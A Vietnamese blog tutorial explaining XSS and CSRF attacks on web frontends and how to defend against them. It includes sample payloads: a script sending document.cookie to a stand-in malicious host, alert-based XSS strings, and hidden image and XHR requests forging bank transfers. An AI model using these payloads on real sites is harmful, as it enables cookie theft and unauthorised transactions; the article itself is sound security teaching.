Tại sao bảo mật Frontend lại là một vấn đề quan trọng trong lập trình? Đầu tiên phải kể đến là người dùng cuối tương tác trực tiếp với ứng dụng thông qua frontend, khiến nó trở thành mục tiêu chính cho các mối đe dọa bảo mật như Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), clickjacking, ...Thứ hai, khi người dùng ngày càng quan tâm đến quyền riêng tư, bảo mật không chỉ là một yêu cầu kỹ thuật mà còn là một tính năng có thể tạo sự khác biệt cho sản phẩm trên thị trường.
Các lỗ hổng bảo mật có thể gây ra những hệ quả nghiêm trọng, từ việc dữ liệu người dùng bị xâm phạm, uy tín thương hiệu bị tổn hại đến các hậu quả pháp lý. Hãy cùng mình tìm hiểu những rủi ro bảo mật phổ biến mà chúng ta có thể gặp phải khi phát triển giao diện web nhé.
1. Cross-Site Scripting (XSS)
1.1 Tấn công XSS là gì?
Cross-Site Scripting (XSS) là một trong những lỗ hổng bảo mật phổ biến nhất trong các ứng dụng web hiện nay. XSS xảy ra khi một ứng dụng web lấy dữ liệu từ một nguồn không đáng tin cậy (ví dụ: từ người dùng) và hiển thị nó trên trang web mà không kiểm tra hay mã hóa dữ liệu đó. Điều này cho phép kẻ tấn công chèn mã độc (thường là JavaScript) vào trang web và mã độc này sẽ được thực thi trên trình duyệt của người dùng khác.
Khi mã độc được thực thi, nó có thể dẫn đến những hậu quả nghiêm trọng như trộm cắp cookie, thực hiện các hành động trái phép thay mặt người dùng, rò rỉ dữ liệu, và các vi phạm bảo mật khác.
Giả sử bạn đang truy cập một trang web cho phép người dùng bình luận về các bài viết. Nếu trang web không kiểm tra đúng cách dữ liệu đầu vào, kẻ tấn công có thể gửi một bình luận có chứa mã JavaScript lấy trộm cookies của người dùng, như sau:
<script>
document.location = 'http://malicious-website.com/steal-cookie?cookie=' + document.cookie;
</script>
Nếu bình luận này được hiển thị trên trang web mà không qua kiểm tra hoặc lọc, mã JavaScript sẽ được thực thi trên trình duyệt của bất kỳ người dùng nào xem trang có chứa bình luận đó.
1.2 Phân loại tấn công XSS
1.2.1 Stored XSS (XSS lưu trữ)
Stored XSS (hay còn gọi là Persistent XSS) là một loại tấn công XSS mà mã độc được lưu trữ vĩnh viễn trên máy chủ của trang web. Khi người dùng truy cập vào trang có chứa mã độc này, mã sẽ tự động được thực thi trên trình duyệt của họ.
Hãy tưởng tượng bạn truy cập một diễn đàn hoặc một trang web cho phép người dùng đăng bình luận. Kẻ tấn công có thể gửi một bình luận chứa mã độc như sau:
<script>alert('You have been hacked!');</script>
Bình luận này sau đó được lưu trữ trên máy chủ của trang web. Khi bất kỳ ai khác truy cập vào trang có bình luận này, trình duyệt của họ sẽ tự động thực thi mã độc, và thông báo "You have been hacked" sẽ xuất hiện.
Điểm khác biệt ở đây là mã độc được lưu trữ trên máy chủ và có thể ảnh hưởng đến bất kỳ người dùng nào truy cập vào nội dung đó. Đây là lý do tại sao Stored XSS thường nguy hiểm hơn Reflected XSS, vì nó có thể tấn công nhiều người dùng khác nhau mà không cần họ phải nhấp vào một liên kết đặc biệt.
1.2.2 Reflected XSS (XSS phản chiếu)
Reflected XSS là một loại tấn công XSS xảy ra khi một trang web "phản chiếu" (trả lại) dữ liệu đầu vào của người dùng mà không kiểm tra kỹ lưỡng. Điều này có nghĩa là mã độc do kẻ tấn công chèn vào không được lưu trữ trên máy chủ (như trong trường hợp Stored XSS), mà thay vào đó được gửi đi và thực thi ngay lập tức trong phản hồi của trang web.
Hãy tưởng tượng bạn truy cập vào một trang web có chức năng tìm kiếm. Bạn nhập từ khóa vào ô tìm kiếm và trang web trả về kết quả liên quan đến từ khóa đó. Nếu trang web này không kiểm tra kỹ dữ liệu bạn nhập, kẻ tấn công có thể lợi dụng bằng cách gửi cho bạn một liên kết chứa mã độc, chẳng hạn:
http://example.com/search?q=<script>alert('You have been hacked');</script>
Khi bạn nhấp vào liên kết đó, trang web sẽ trả về kết quả tìm kiếm kèm theo mã độc. Trình duyệt của bạn sẽ "phản chiếu" và thực thi mã đó ngay lập tức, dẫn đến việc hiển thị thông báo "You have been hacked". Mã độc này không được lưu trữ đâu cả, nó chỉ xuất hiện khi bạn nhấp vào liên kết và phản hồi của trang web chứa mã này.
1.2.3 DOM-based XSS (XSS dựa trên DOM)
DOM-based XSS là một loại tấn công XSS xảy ra khi lỗ hổng bảo mật nằm trong mã JavaScript chạy trên trình duyệt của người dùng (phía client), thay vì nằm trên máy chủ.
Ví dụ bạn đang truy cập một trang web sử dụng JavaScript để thay đổi nội dung trang dựa trên dữ liệu từ URL. Trang web có thể hiển thị từ "hello" trên trang bằng cách sử dụng JavaScript để lấy phần sau dấu #
. Nếu trang web không kiểm tra kỹ dữ liệu này, kẻ tấn công có thể thay đổi URL để chèn mã độc:
http://example.com/page#<script>alert('You have been hacked');</script>
Khi bạn truy cập URL này, JavaScript trên trang sẽ xử lý phần mã độc sau dấu #
và thực thi nó, dẫn đến việc hiển thị thông báo "You have been hacked".
Trong DOM-based XSS, mã độc không đi qua máy chủ mà được xử lý trực tiếp bởi trình duyệt của bạn. Điều này có nghĩa là lỗ hổng nằm trong cách JavaScript trên trang xử lý dữ liệu đầu vào, và mã độc chỉ được thực thi trên trình duyệt của người dùng.
1.3 Những kỹ thuật phòng chống XSS
- Input Validation (Kiểm tra đầu vào): Kiểm tra và xác thực dữ liệu người dùng nhập vào để đảm bảo nó phù hợp với định dạng mong đợi. Ví dụ: trường email chỉ nên chứa định dạng email hợp lệ.
- Output Encoding (Mã hóa đầu ra): Mã hóa dữ liệu một cách an toàn khi hiển thị lên trang HTML, để ngăn chặn việc dữ liệu này bị diễn giải như mã độc. VD: mã hóa các ký tự đặc biệt trong bình luận để tránh bị thực thi mã độc.
- Secure Cookies (Bảo mật cookie): Sử dụng cờ HttpOnly trên cookie để đảm bảo rằng mã JavaScript không thể truy cập cookie của Session, giúp bảo vệ khỏi các cuộc tấn công XSS. Ví dụ, bạn có thể thiết lập CSP để chỉ cho phép tải script từ domain của bạn.
- Content Security Policy (CSP): Thiết lập CSP để chỉ cho phép thực thi các script từ các nguồn hợp lệ, ngăn chặn các script độc hại. Tuy nhiên, cấu hình CSP phức tạp và cần thử nghiệm kỹ lưỡng.
- WAF (Web Application Firewall): Sử dụng tường lửa để lọc và giám sát các yêu cầu HTTP, tạo một lớp bảo vệ bổ sung.
- Code Reviews: Thực hiện review code thường xuyên bởi các chuyên gia bảo mật để phát hiện sớm các lỗ hổng.
- Escaping Untrusted HTTP Request Data (Mã hóa dữ liệu HTTP không tin cậy): Mã hóa dữ liệu người dùng trước khi sử dụng trong HTML, JavaScript, CSS, và URL,... Ví dụ: Hàm encodeURIComponent.
- Anti-XSS Libraries (Thư viện chống XSS): Sử dụng các thư viện và công cụ chống XSS như thư viện OWASP's ESAPI.
- Use Frameworks that Automatically Escape XSS: Sử dụng các framework web hiện đại, như ReactJS, để tự động mã hóa và ngăn chặn các cuộc tấn công XSS. Những framework này có cơ chế tự động xử lý dữ liệu đầu vào của người dùng, đảm bảo rằng dữ liệu không thể chứa mã độc.
2. Cross-Site Request Forgery (CSRF)
2.1 Tấn công CSRF là gì?
Tấn công CSRF (Cross-Site Request Forgery) là một cuộc tấn công lợi dụng trạng thái đã xác thực của người dùng trên một trang web. Khi người dùng đăng nhập, trình duyệt của họ sẽ lưu một session cookie, và cookie này sẽ được gửi tự động mỗi khi người dùng gửi yêu cầu đến máy chủ của trang web đó. Nếu trang web chỉ dựa vào cookie để xác thực, kẻ tấn công có thể lừa người dùng thực hiện các hành động không mong muốn mà không cần họ phải nhập lại thông tin đăng nhập.
Hãy tưởng tượng bạn đã đăng nhập vào một trang web ngân hàng trực tuyến và trình duyệt của bạn lưu lại thông tin đăng nhập bằng cookie. Khi bạn truy cập vào một trang web khác (trang ngân hàng giả mạo), kẻ tấn công có thể lừa bạn nhấp vào một liên kết hoặc nút trên trang đó, và hành động này sẽ gửi một yêu cầu đến trang web ngân hàng thật sử dụng cookie của bạn. Kết quả là, kẻ tấn công có thể lừa bạn chuyển tiền từ tài khoản của bạn sang tài khoản của họ mà bạn không hề hay biết.
2.2 Phân loại tấn công CSRF
2.2.1 Simple CSRF
Đây là hình thức tấn công CSRF cơ bản nhất. Kẻ tấn công có thể chèn một liên kết độc hại vào một bài đăng trên diễn đàn, email, hoặc trang web. Khi người dùng nhấp vào liên kết này, một yêu cầu không mong muốn được gửi đến trang web mà người dùng đã đăng nhập.
Giả sử kẻ tấn công gửi cho bạn một email có liên kết như sau:
http://bank.com/transfer?amount=1000&to=attacker_account
Nếu bạn đã đăng nhập vào ngân hàng trực tuyến của mình, khi bạn nhấp vào liên kết này, yêu cầu sẽ được gửi đến trang web ngân hàng để chuyển $1000 đến tài khoản của kẻ tấn công mà bạn không hề hay biết.
2.2.2 Image Tag CSRF
Kẻ tấn công có thể chèn mã độc vào một trang web bằng cách sử dụng thẻ hình ảnh (<img>
) với thuộc tính src
trỏ đến trang web dễ bị tấn công. Trình duyệt sẽ tự động gửi yêu cầu GET đến URL trong thuộc tính src
của thẻ hình ảnh.
Trên một trang web, kẻ tấn công chèn đoạn mã HTML sau:
<img src="http://bank.com/transfer?amount=1000&to=attacker_account" style="display:none;">
Khi trang này được tải, trình duyệt của bạn sẽ tự động gửi yêu cầu GET đến URL được chỉ định, mà không cần sự can thiệp của bạn, dẫn đến việc chuyển tiền đến tài khoản của kẻ tấn công.
2.2.3 Ajax CSRF
Đây là một hình thức tấn công tiên tiến hơn, kẻ tấn công sử dụng XMLHttpRequest hoặc Fetch API để gửi các yêu cầu trái phép. Tuy nhiên, do chính sách same-origin policy
, phương pháp này thường khá phức tạp nhưng có thể gây ra hậu quả nghiêm trọng.
Kẻ tấn công tạo một trang web với mã JavaScript như sau:
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://bank.com/transfer", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("amount=1000&to=attacker_account");
Khi bạn truy cập trang này, mã JavaScript có thể gửi yêu cầu POST đến trang web ngân hàng, sử dụng thông tin xác thực của bạn để thực hiện chuyển tiền mà bạn không hay biết.
2.3 Những kỹ thuật phòng chống CSRF
- Same-Site Cookie Attribute: Nếu bạn thiết lập
SameSite=Strict
cho session cookie của người dùng, thì cookie này sẽ chỉ được gửi trong các yêu cầu từ cùng một trang web, không từ các trang web khác. Điều này ngăn chặn kẻ tấn công từ trang web khác sử dụng cookie của bạn để thực hiện các hành động trái phép. - Re-authentication: Yêu cầu người dùng nhập lại mật khẩu cho các giao dịch nhạy cảm để tạo ra một lớp bảo vệ thứ hai. Khi bạn thực hiện chuyển khoản lớn trong ngân hàng trực tuyến, trang web có thể yêu cầu bạn nhập lại trước khi xác nhận giao dịch, hoặc chỉ đơn giản khi bạn vuốt ứng dụng ngân hàng cho vào background, khi muốn tiếp tục sử dụng, app này cũng yêu cầu bạn phải đăng nhập lại.
- Referer Check: Kiểm tra 'Referer' trong header để đảm bảo yêu cầu đến từ một domain tin cậy. Tuy nhiên, đây không phải là phương pháp bảo vệ tuyệt đối vì header có thể bị giả mạo.
- Anti-CSRF Tokens: Sử dụng các token chống CSRF là phương pháp bảo vệ mạnh nhất. Đây là các mã định danh ngẫu nhiên, duy nhất liên kết với session của người dùng, được nhúng trong các biểu mẫu. Kẻ tấn công không thể đoán trước token này, do đó không thể giả mạo yêu cầu.
Ví dụ: Bạn truy cập vào trang web của ngân hàng và muốn chuyển tiền. Trang web tạo ra một csrf token cho phiên giao dịch này và nhúng token vào biểu mẫu chuyển tiền. Khi bạn gửi yêu cầu chuyển tiền, token sẽ được gửi cùng với yêu cầu đó. Máy chủ kiểm tra token và xác nhận rằng yêu cầu là hợp lệ (so khớp token) hay không, nếu khớp việc chuyển tiền sẽ được thực hiện. - Double Submit Cookies: Kỹ thuật Double Submit Cookies sử dụng hai cookie (session cookie và csrf-token cookie) để xác minh xem yêu cầu đến từ người dùng có hợp lệ hay không. Nếu kẻ tấn công cố gắng gửi một yêu cầu giả mạo từ một trang web khác, họ sẽ không có token CSRF đúng để gửi, do đó yêu cầu sẽ bị từ chối.
- Content Security Policy (CSP): Chỉ định nguồn (domain) nào được phép tải và thực thi các script trên trang web. Mặc dù CSP không ngăn chặn trực tiếp các cuộc tấn công CSRF, nó giúp bảo vệ trang web của bạn khỏi việc thực thi các mã JavaScript độc hại mà kẻ tấn công có thể sử dụng để khởi động các cuộc tấn công CSRF
- Custom Headers: Sử dụng các header tùy chỉnh như
X-Requested-With
để thêm một lớp bảo mật. Ứng dụng của bạn chỉ xử lý các yêu cầu có tiêu đềX-Requested-With: XMLHttpRequest
. Vì các yêu cầu cross-origin từ trang web khác không thể chứa tiêu đề này, bất kỳ yêu cầu nào thiếu tiêu đề này sẽ bị từ chối.
3. Kết luận
Tấn công XSS (Cross-Site Scripting) và CSRF (Cross-Site Request Forgery) là hai trong số những phương pháp tận dụng lỗ hổng bảo mật phổ biến nhất trên giao diện web hiện nay. Cả hai loại tấn công này đều lợi dụng sự tin cậy của người dùng và hệ thống, từ đó thực hiện các hành động không mong muốn, gây ra những hậu quả nghiêm trọng như rò rỉ thông tin cá nhân, chiếm đoạt tài khoản, và thậm chí là thay đổi dữ liệu.
Bảo mật không chỉ là một chức năng "nice to have" nữa mà là một yêu cầu bắt buộc đối với bất kỳ ứng dụng web nào. Bạn nên áp dụng các biện pháp phòng chống ngay từ đầu sẽ giúp bảo vệ người dùng và giữ vững uy tín của ứng dụng trên thị trường.
Các bài viết liên quan tại Blog 200Lab:
Bài viết liên quan
React Toastify là gì? Hướng dẫn sử dụng Toast Notification với React Toastify
Nov 21, 2024 • 7 min read
Hướng dẫn sử dụng Zustand trong NextJS
Nov 21, 2024 • 8 min read
Lazy Loading: Kỹ thuật Tối ưu Hiệu suất Website
Nov 17, 2024 • 14 min read
Hướng dẫn sử dụng Redux Toolkit và Redux Saga trong dự án React
Nov 15, 2024 • 10 min read
WebGL là gì? Hướng dẫn tạo đồ họa đơn giản với WebGL
Nov 13, 2024 • 7 min read
Test-Driven Development (TDD) là gì? Hướng dẫn thực hành TDD
Nov 13, 2024 • 6 min read